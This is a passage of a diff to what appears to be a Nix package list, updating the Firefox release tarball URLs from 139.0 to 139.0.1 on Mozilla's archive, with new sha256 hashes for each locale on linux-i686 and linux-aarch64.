-      sha256 = "d14bd657e88404749834c65fc836dcc5248c67607e5a54cee658d4c6263f529a";
+      sha256 = "1196c08cd1e131e8e73a78ae0ad59271cfe9063f8ec02b4eb6d17992629c17ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/skr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/skr/firefox-139.0.1.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "b67bb1138e44092fb11836d7ea18125ac24e1034f0e5d5c8309487a7d1123ebf";
+      sha256 = "748a7947bed46029a7459a6e6137e07e2b217a963821d5ee7211d068eb321b93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sl/firefox-139.0.1.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "713c48bcd3e1f9af0b4b21e751aee573b96e4b0ca15874d8e0e778abf1ac3214";
+      sha256 = "51c9823fd5f2c877cf8f14167724ac7f1c7be9cf0240ba76514ad24128652738";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/son/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/son/firefox-139.0.1.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "cfedb2a50fd92618705b6f6a23df69c8b77ff3eb416c9767c276f4ad1f94acd7";
+      sha256 = "eae73e669da7e69d495938b47819a8497b8ebea626418ed944e7cabdcf98952b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sq/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sq/firefox-139.0.1.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "10133319526d11d010b101db0fbdfd58b16088bb455e8dc06e10df81a8aa2d6d";
+      sha256 = "4fbec57e180edc04ef83f06b8cf43116915e8be4813bce718c54bb13726b2fff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sr/firefox-139.0.1.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "47520c7247656ba6e64e3c41e16eae8e55fbd9e834b903563b0cfbe292e0e5df";
+      sha256 = "e193271c3de4ed28dfbc58d889f9375f213a78dd7c49689874a98daccf6931df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sv-SE/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sv-SE/firefox-139.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "d65523a0f795e72101bbdf23e11274f0780507f5d22b5f2070532026ba1c5609";
+      sha256 = "8ed2575b7df656a3c7deae83ed74b86b88e14b6dc787fbfa25e4963af0b68e78";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/szl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/szl/firefox-139.0.1.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "442f68feb02d60bf51a2efe8ce87789247c1c04faca007a9304c17b8441cda37";
+      sha256 = "8adbc52d048923d931fa5792942c879d6d76e46bd357d17729143e671bb05bab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ta/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ta/firefox-139.0.1.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "b1f5110a5c237c7100d85df0d8709c4034020e7d23e46ee22a60984dde13f2c2";
+      sha256 = "6bc69ca284aa3b2ab7f66447e7565919a93b5590b000295ac811f3b4ad26cd93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/te/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/te/firefox-139.0.1.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "80eada0ebcb9a58b50867ccf8f884ff29b277c75d61fccf4990f80f666eda4ce";
+      sha256 = "99b712bd9a62bc55fc6efff3ee257ed6ffc147c182a4202ee0dc65a894c1fafc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/tg/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/tg/firefox-139.0.1.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "5fe16ab368d7f6e9461cced09f46e7574ae08a3ac0137f495e86212b155cd4e4";
+      sha256 = "6a0e0f494358cae01e54d5125d3b6ddfa79f13726b7a13f539027ef27f2a1808";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/th/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/th/firefox-139.0.1.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "e0e17dca00d65a8aa8630d28f0c23eecd7ca89d80f6a9fc6e694ac4237dcd56d";
+      sha256 = "6e535cff15670e7040e6994227315d6a791fd215f892ff462f20a0d1fe38f35e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/tl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/tl/firefox-139.0.1.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "75b787fa04ef07c7d16e8e054d6ef659ef93a3d63eaaf1087d1e5996160b89f0";
+      sha256 = "440d6d465ee995188f4559fb638e53fef952087b16d8a847c8ce84ee8e363ce4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/tr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/tr/firefox-139.0.1.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "6262f78224e1e0dd5080d9ecd057ba3a8201b6c31d073d8e4a50b6efa16ed0b2";
+      sha256 = "e9c65d648d6e1dcd0e5d349f98475ccb565c06c077f0b0da0ba0a5bd655ce4bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/trs/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/trs/firefox-139.0.1.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "de7260267515a566cace0f344a8c994e697eb60269f16c32e927a245dd745a79";
+      sha256 = "2894b20c8c61052ca52e14849209a5efed4ca36c6f35d5be00b3306702de24c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/uk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/uk/firefox-139.0.1.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "3fa85a3f5d1da2d6d0fe496bc35d33b4ccd981418b9e2bc9558b725dc0d14dcf";
+      sha256 = "2be2c7d98a638877bd9d8700c7b06ba8403b1dc2eab9e63cf671025114d7959f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ur/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ur/firefox-139.0.1.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "e22fabed99afacad618508e9c17dc718038889e724a5575070aaa9b03e52a97e";
+      sha256 = "42860a7bbaf5e8f4be7dbab22625f73dce0b501cfb2ed995ab53667c5e5c0743";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/uz/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/uz/firefox-139.0.1.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "af3a985129a202de96e235b201c77de50bbce0fe4672d76af47565a7421b7f24";
+      sha256 = "0c6e80d19d6de22ee0fefa5a86483e265b708bc4271dc7e94e0a56248335db89";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/vi/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/vi/firefox-139.0.1.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "bd1d57ccf01ac1c4f12b32f5fd33e41d9846e351d5434fa8c74a0cc99ad04590";
+      sha256 = "7dfd8f9936d90c2b82969ebae647c35a414662952510a4659b8bd06343dccbb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/xh/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/xh/firefox-139.0.1.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "3e0bba27873729db135e4ecc4ae5f46ed0378048dded183ecb7ac35a4f1da01a";
+      sha256 = "bc7bff33b80b9eec5cf44fd4f23c74e6d48345e40b816ad8a3cab4e7a12334f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/zh-CN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/zh-CN/firefox-139.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "f39684e2dee41a74d71a887202a8b003a466d5e0d3d1736fe6531d9839c60a59";
+      sha256 = "69bad85e477b9641759b9bc56ad01a54ea471febd8fe272f3e4027fe099b236f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/zh-TW/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/zh-TW/firefox-139.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "dfb7043ec41f195c29509145acb2708ba55a42855f33b83a2df2cf4aa43dbd3b";
+      sha256 = "af02fb0db8bf10210c2dc78101e97916488d1e2311179df28293e95352c71cee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ach/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ach/firefox-139.0.1.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "822e473d8c7013996f80e076f60b4eeeba36fb3af214c44123eb5e349f58c9cc";
+      sha256 = "6ff00d32f83bee69a6d128a19581a75f0a3f8e19b35c17178d179d322f2b26c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/af/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/af/firefox-139.0.1.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "3d096467313bbcdd6b2cccd46812efcc4ad8de79707a91f71cc373940f8bceb0";
+      sha256 = "3f127ecce788609ff39e81835247f911187c91dbc79df748229387691dbe93dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/an/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/an/firefox-139.0.1.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "7f970b417fc10c1921740dc5a1cbe3bbc83fd8747ee1512f8904519aaf659502";
+      sha256 = "35ecdda6dedb3a415e595ff5bc90f8938ca9784a5e57037162fea56e04b752c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ar/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ar/firefox-139.0.1.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "5b92e9bbb90eaf9d8081b2b961e1173003325d48387dd7303d9f80eae9f829b1";
+      sha256 = "a1eadf0c9911a06c50262249abb1ff3038d521dd6b55f610875e69c50c3d427d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ast/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ast/firefox-139.0.1.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "cea619430d325eeaddfdfd8cd02b6c479cabaf6a728490bdc98326981de3c9d3";
+      sha256 = "7228dc43d8a695948b5a0d867aee0615882e5e58fa55d9fc756955abc5c68062";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/az/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/az/firefox-139.0.1.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "bd177cf2d1b12c846e031fcf9a1c14564104d6b1e9e1eb05b8f4e3258b99fd2c";
+      sha256 = "b0a65d238d235deceba64cb2be8c8c37627751740e12fc32327f3f96f67fb45b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/be/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/be/firefox-139.0.1.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "24932777ae00c24c90381273aa30ff02161f0c70940a589ca843f22e07b73f8d";
+      sha256 = "148cec26cd0d54728071f63b04a8aca191b7c342708b5a03c50b1f67ef2ceab9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/bg/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/bg/firefox-139.0.1.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "5070881f77a2fb1389bca50e32a8153e4b6e2c221c6616a40214bd527d442086";
+      sha256 = "dbc1cf3f97099ccab859d7c7a3d7b8a88e99aa800605fcbe713d4a12265647b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/bn/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/bn/firefox-139.0.1.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "b04742c34f6aae04a8a7c5859cb98371d4e4ba7f865e4e6ac3e449770334e07f";
+      sha256 = "c68193081a4d93423230cbfb2d6f57578a5d2860f41592d6da888ce0a2974c9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/br/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/br/firefox-139.0.1.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "6a3408e83ce48384324796f3441b75567d086d2ea247138ccd39c66e9da2b559";
+      sha256 = "05a21ba4ad69d64535b07bb42f8c593a0ffe9bec30804edc38267be29bc96ff3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/bs/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/bs/firefox-139.0.1.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "ede68ddf5fdd741b934339b52979bddd3762454bb694e2d5fa128cb1bddbd528";
+      sha256 = "d59f287f4cc86e275ea11564cb6701e926710c3d8fc7a44e9203a802057ffbfd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ca-valencia/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ca-valencia/firefox-139.0.1.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "a08143476c1ae3aaeb4ca4b8469ab02443b651125b01e96040168d17847cdc0d";
+      sha256 = "89870c24456d8a14af42b09141174d9e927fe9d3537aaf1b38ecfb93ca20567b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ca/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ca/firefox-139.0.1.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "cf4f8b2373dec3b1fadfd39fd08e65a1ed980105dcb0852ae1285d9b35fdb6af";
+      sha256 = "35c7fe91fda71c2d0e047a14018db83fa0cb010f40f62defa63767e8e471fcdc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/cak/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/cak/firefox-139.0.1.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "d094caf15f1fa4d9aba7b908087265baaffc097b3c8abe66685384eebcd9a5b4";
+      sha256 = "fd444ede91a95bfe02c17a559061c39c2fb46b7b042ade8d4863c384d945d3ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/cs/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/cs/firefox-139.0.1.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "ddcd0f00f20de7f78810429b4728174cdb553851dc0767c4f18270000e43779e";
+      sha256 = "1c02b82baf751296427a9f317262825f8ea72ab82485dfea30d055bcb6598ccf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/cy/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/cy/firefox-139.0.1.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "b2b498076c22ae7c396041a81c430be9a8ebf8ca2760bd09870cb57538d2aa35";
+      sha256 = "04278af60b97a6c750e703d53015a14ed11ebf26676b5bd552fe1b6b3bff84fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/da/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/da/firefox-139.0.1.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "dcc469748f91a5b0adc439d95059c8965dd7529aa3ade2624c8b2f42dc14cd3e";
+      sha256 = "00277462352dab6d60bfe047495fb548adce8e40caefce6701be9e1839aa334f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/de/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/de/firefox-139.0.1.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "ffa75afe9cf0f5912228c6d6b02c435138dbc8fdb7babda5ab550ddd82304a74";
+      sha256 = "b0f6d68f6527870dc54f54cb225e834a6a71db40aaa6641f9f2f89250c2b73b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/dsb/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/dsb/firefox-139.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "622586f39047ae0d9c3bac212dc06980b974ff8cdf0ce983a57b4d9c27bc2ce0";
+      sha256 = "613926660e11094dcf1babf2df6bddc337f35638695639d670acc6e9540fd8a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/el/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/el/firefox-139.0.1.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "6be3465585d4dabed75b9fab9e230aa1125bf0eefe7a3700c10285eb16e01298";
+      sha256 = "0ca8476d60fe31ca9d4f0b5f05d17759d11f22bf89b754f3400eab60d8e93b70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/en-CA/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/en-CA/firefox-139.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "8e0e8afa17d922730424014303e44bbdef3632338a942aaf2cc88cebcb089de6";
+      sha256 = "718b869470d3bc01435d848ae065f5c7a97a44a663041098b7b06a6d3643089a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/en-GB/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/en-GB/firefox-139.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "2ee31d1eec8c76a5de8ad880f4d8c5cd4ec918331cd2a8aa7e76c864de248617";
+      sha256 = "a51f9b0a306f4f8c8511356fd147332759a1e3f0c9c8b2ccc0445560aca0f328";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/en-US/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/en-US/firefox-139.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "bd9b0a7a0f0faa47cb053f7df0c2c38766d7e481d697f6cfa60c01425eb81786";
+      sha256 = "6a4c428377e8c85eb46ddbde007b39a6d37d221747a2229047120962c82f37de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/eo/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/eo/firefox-139.0.1.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "9eb95eb1a5a7a4e0ef3fdca261fd622643b64066e8122278a4579431b9ee8a09";
+      sha256 = "9a0a8b4a8dc9709ed520491dbdc02fdb45a9dc69d61e287bf0ad6f04b94e8809";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/es-AR/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/es-AR/firefox-139.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "19ba5aa9e8403ca998f58038cbf4bde5dcdacf209624747c138f14c91f0e9494";
+      sha256 = "51063abc95c2c57dfbaa66a563d6a10564d754a884bd7b6467c2fc67a8be5a2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/es-CL/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/es-CL/firefox-139.0.1.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "ebdb1743b4f51d45e00831635b88f923c682a028136b249b51742b815c5f01f4";
+      sha256 = "2ecc8f18cd13425108fa587ae5e9094107ded80c731f307ed7422365ab61367c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/es-ES/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/es-ES/firefox-139.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "fdc85dc2241b79cd49a40cb35e8d98b14ca1e44c5209af9a12242037fc4fc1f1";
+      sha256 = "a40a69052beab8ca2ee1e01b349a74c32672096722793596a9232cc7cd652871";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/es-MX/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/es-MX/firefox-139.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "62bdcf567ab4b0d803bbecc31b820f26af4df099e661d9692f92465eacb7835e";
+      sha256 = "ff0210e4f42ed95f849c3b915fe68f51436dc14d91c63b75284632a6e5d73276";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/et/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/et/firefox-139.0.1.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "e23db44ad0445015a506646a1647d6906e4563797465b1ab8292126b0b5dce54";
+      sha256 = "a115c43c014edde78b856db25bf93b24c7ff8e3f9787c2be8d0471b15d48e918";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/eu/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/eu/firefox-139.0.1.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "fcb03ba40a41f1693c069258fc9ca5f5f87d50e83c3cd06a6848cdb996901d84";
+      sha256 = "1a82fc1adfbc8c80d1f0544f4ac3bda1b4f980d88958b11a1398bdef922d415e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fa/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fa/firefox-139.0.1.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "4544e53bb7a3c81c645cb84772b4c1afe9b579d9cf271fdd6d410c6c8b2d3786";
+      sha256 = "2bb90ffb5517acac0f7b284f7205c00ff14c8dae2e64311553bd253d95e443ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ff/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ff/firefox-139.0.1.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "700d7a2f91b330cbf4cf8a84e98880117c8a0515de1bd96648477f6ce31b9065";
+      sha256 = "3fa7ac442b9b1f1d63293048f96b6c0b5e4ddeecec92950b9139bf8cfdf1c16b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fi/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fi/firefox-139.0.1.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "8940f12b55124ec64f308baa748443926317824f410fb2045911d059918327cc";
+      sha256 = "9bf83062f23fc1904d96c8ad988b49a30d8e36b9bec066630149810a93333a84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fr/firefox-139.0.1.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "d6ff6fc283d602f914389b366b34a33810b4351ce2dfca0aeef950f9fcd7cb04";
+      sha256 = "4dca6bf03f58f2c665d7870584077ac9dbf9f047e2984a9656e914a48f4ca553";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fur/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fur/firefox-139.0.1.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "a7ad52a74a917dcb489be7e63562d2fb1d44b9337c0a488bfc5eb76073caa179";
+      sha256 = "b2eea73524fff2ad2b539b77427c2e1299a0d9004b9913f96bfec5ae9da6cbb2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fy-NL/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fy-NL/firefox-139.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "f3ff60d260bc282497f12d49fd243547acdbd6c98091639cf2d2b57e6dd56fa5";
+      sha256 = "9d789b4e77350d81c40d6467dfaa1a6c492f20be3be6f186fb605ee20b17c750";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ga-IE/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ga-IE/firefox-139.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "e6941b734db7406e553ffbc26ebb521fab1a0723b6b95670e2ffb3f338f4ca6a";
+      sha256 = "4324b2237c06bf8d5aeab3fba62aaa47ab0323ce3f33bbe102e5608a83f13fc3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/gd/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/gd/firefox-139.0.1.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "587ffc8788f663836bf03003ff16741465cba59d3fffb5a01d446c1e9c735557";
+      sha256 = "850c4f77adf3df46dbe4fecc5fce6f577a1be246a4877fd7d392873c885ec039";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/gl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/gl/firefox-139.0.1.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
